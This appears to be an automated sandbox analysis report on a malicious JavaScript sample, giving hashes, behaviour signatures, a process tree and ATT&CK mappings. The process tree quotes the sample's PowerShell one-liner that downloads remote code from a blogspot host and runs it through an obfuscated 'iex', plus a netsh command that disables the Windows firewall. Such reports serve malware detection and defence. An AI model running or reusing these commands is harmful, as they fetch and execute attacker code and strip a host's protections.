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Analysis
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max time kernel
93s -
max time network
135s -
platform
windows10-2004_x64 -
resource
win10v2004-20231215-en -
resource tags
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submitted
20/12/2023, 20:57
General
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Target
14101_4701799_4544166_19-DEC-2023.js
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Size
75KB
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MD5
5adec410f9939264652439b0b577f816
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SHA1
bf81a4fe9d6ef714b2a159307f2d6d6dec8392bb
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SHA256
e442eeceddf82c688a044f671abd042075676a058075038a00e2555f418b8888
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SHA512
818f9682bb81cee94228c42078069f4a9e327bdfdd4b7d5b24698636b72f23fee9fb95e227e402380f4772533666da9517580507e6a5cc40da902e49c4b335b2
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SSDEEP
96:9pVIq5KviVtbEx5R17Lub5MHaPw2lSGS6oDFyMP:9sviW7Lub5MHaPw2lSGS6oDFyMP
Malware Config
Signatures
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UAC bypass 3 TTPs 1 IoCs
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Blocklisted process makes network request 2 IoCs
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Modifies Windows Firewall 1 TTPs 1 IoCs
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Checks computer location settings 2 TTPs 1 IoCs
Looks up country code configured in the registry, likely geofence.
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Registers COM server for autorun 1 TTPs 2 IoCs
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Adds Run key to start application 2 TTPs 1 IoCs
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Legitimate hosting services abused for malware hosting/C2 1 TTPs
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Looks up external IP address via web service 3 IoCs
Uses a legitimate IP lookup service to find the infected system's external IP.
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Suspicious use of SetThreadContext 3 IoCs
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Drops file in Windows directory 1 IoCs
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Enumerates physical storage devices 1 TTPs
Attempts to interact with connected storage/optical drive(s).
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Checks processor information in registry 2 TTPs 6 IoCs
Processor information is often read in order to detect sandboxing environments.
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Enumerates system info in registry 2 TTPs 4 IoCs
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Modifies registry class 3 IoCs
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Suspicious behavior: EnumeratesProcesses 9 IoCs
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Suspicious use of AdjustPrivilegeToken 64 IoCs
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Suspicious use of WriteProcessMemory 38 IoCs
Processes
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C:\Windows\system32\wscript.exewscript.exe C:\Users\Admin\AppData\Local\Temp\14101_4701799_4544166_19-DEC-2023.js1⤵
- Checks computer location settings
- Suspicious use of WriteProcessMemory
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C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe"C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -ep Bypass -c [Net.ServicePointManager]::SecurityProtocol = [Net.SecurityProtocolType]::Tls12;$(irm hopelnew24.blogspot.com//////////////////////atom.xml) | . ('i*x').replace('*','e');Start-Sleep -Seconds 52⤵
- UAC bypass
- Blocklisted process makes network request
- Registers COM server for autorun
- Adds Run key to start application
- Suspicious use of SetThreadContext
- Modifies registry class
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
- Suspicious use of WriteProcessMemory
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C:\Windows\Microsoft.NET\Framework64\v4.0.30319\csc.exe"C:\Windows\Microsoft.NET\Framework64\v4.0.30319\csc.exe" /noconfig /fullpaths @"C:\Users\Admin\AppData\Local\Temp\2gwvu35g\2gwvu35g.cmdline"3⤵
- Suspicious use of WriteProcessMemory
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C:\Windows\Microsoft.NET\Framework64\v4.0.30319\cvtres.exeC:\Windows\Microsoft.NET\Framework64\v4.0.30319\cvtres.exe /NOLOGO /READONLY /MACHINE:IX86 "/OUT:C:\Users\Admin\AppData\Local\Temp\RESA018.tmp" "c:\Users\Admin\AppData\Local\Temp\2gwvu35g\CSCD704969FE76F42039CB95BAE6688D7.TMP"4⤵
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C:\Windows\system32\netsh.exe"C:\Windows\system32\netsh.exe" advfirewall set allprofiles state off -ErrorAction SilentlyContinue3⤵
- Modifies Windows Firewall
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C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe"C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe"3⤵
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
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C:\Windows\Microsoft.NET\Framework\v2.0.50727\RegSvcs.exe"C:\Windows\Microsoft.NET\Framework\v2.0.50727\RegSvcs.exe"3⤵
- Suspicious use of WriteProcessMemory
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C:\Windows\Microsoft.NET\Framework\v2.0.50727\dw20.exedw20.exe -x -s 7844⤵
- Drops file in Windows directory
- Checks processor information in registry
- Enumerates system info in registry
- Suspicious use of AdjustPrivilegeToken
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C:\Windows\Microsoft.NET\Framework\v3.5\Msbuild.exe"C:\Windows\Microsoft.NET\Framework\v3.5\Msbuild.exe"3⤵
- Suspicious use of WriteProcessMemory
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C:\Windows\Microsoft.NET\Framework\v2.0.50727\dw20.exedw20.exe -x -s 7804⤵
- Checks processor information in registry
- Enumerates system info in registry
- Suspicious use of AdjustPrivilegeToken
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Network
MITRE ATT&CK Enterprise v15
Persistence
Boot or Logon Autostart Execution
2Registry Run Keys / Startup Folder
2Create or Modify System Process
1Windows Service
1Privilege Escalation
Abuse Elevation Control Mechanism
1Bypass User Account Control
1Boot or Logon Autostart Execution
2Registry Run Keys / Startup Folder
2Create or Modify System Process
1Windows Service
1Replay Monitor
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Downloads
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Filesize
3KB
MD575185c1407da679a40ac34d178658f4d
SHA103a4674c5317dc150e7df469689749ca07936a2d
SHA256d23f701cf5293ee47a09f489ba5bbd76885ac80f56d0926fed26ba6fed8b0323
SHA512804888666c448fb63403d4ffcd306b019d79f6aacee6e52aa75dffefc0776daabd529c8ff2eec5fbb305f6868ca4c41130a3bfeb1008ddf38af7747e7e8dd8cd
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Filesize
1KB
MD522fc345ddbcaefe887980f2be5bc0996
SHA172bdf27378e8d5a868f2a09239729eff973944b6
SHA2562ae2113167f78c8c4577c8c20e01e463fbf7f9c9ae38d05d6282013dcd0d4764
SHA512734a212906117e8947fb769bf13efbc0372da9265b457cf9e9b6fb8c276d99ab82c46506eb9310d4bf5cf5dee737f0a8056a885d42601d1ae3de15ab5e83f4f6
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Filesize
60B
MD5d17fe0a3f47be24a6453e9ef58c94641
SHA16ab83620379fc69f80c0242105ddffd7d98d5d9d
SHA25696ad1146eb96877eab5942ae0736b82d8b5e2039a80d3d6932665c1a4c87dcf7
SHA5125b592e58f26c264604f98f6aa12860758ce606d1c63220736cf0c779e4e18e3cec8706930a16c38b20161754d1017d1657d35258e58ca22b18f5b232880dec82
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Filesize
870B
MD5e06ebf853695db38aaac82c9af297ae4
SHA1ef98bacec5ac2ae3bf24aac8ed56935a25c1f064
SHA25679c1099bad1dccb1d151887071b8e8b5d679de343903895fa28e45b791cae344
SHA512036449d932066d506a6bd7c08df311bf1ed5e7b3595004941fe1c39a8e9f9b0d08d43b33a180d4851f88d49c98a17b05cf5235858ada611306fc602cfd582759
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Filesize
369B
MD5d8b264f37c1033b69427a54fbdf3b077
SHA1ce555fa039a66eb7bdf197f45466d3c4bfaa011c
SHA256a7c7b669d4c3d3a448c8518ad7b9c26aea9b68f7d4d7af40682a44a434936d8d
SHA5129c5341c9a2a72a4b0a835921c77301d8e6f073c28a278637b09eb1217788f7d2a4063250bc68586ba4f4d012fc1fb1c93b037fb9e273eba8cb33c5cbf71afa7a
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Filesize
652B
MD5564a25cf678a8a03f86b2e39e4f1fe0a
SHA1a8fc688224be3d425bc4a927cf9d2ac1beee8572
SHA256efb4bc282b137289f2a251b133bbe661326ea9c40d78246321306ded24b5a547
SHA5128bfe729a1f954eb226aa1498084e78aae128bd69db26257615c64f201e30784c0378549f9bcd8d0bcdd3a7f68d46caf02dfd90e5042ab6f7296d90b674c5c76f
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Filesize
64KB
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Filesize
5.7MB
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Filesize
5.7MB
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Filesize
5.7MB
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Filesize
64KB
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Filesize
792KB
-
Filesize
40KB
-
Filesize
7.7MB
-
Filesize
624KB
-
Filesize
320KB
-
Filesize
408KB
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Filesize
5.6MB
-
Filesize
584KB
-
Filesize
792KB
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Filesize
7.7MB
-
Filesize
104KB
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Filesize
64KB
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Filesize
1.8MB
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Filesize
32KB
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Filesize
136KB
-
Filesize
64KB
-
Filesize
10.8MB
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Filesize
10.8MB
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Filesize
10.8MB
-
Filesize
56KB
-
Filesize
64KB
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Filesize
64KB
-
Filesize
64KB
-
Filesize
64KB
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Filesize
64KB
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Filesize
5.7MB
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Filesize
5.7MB
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Filesize
5.7MB
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Filesize
64KB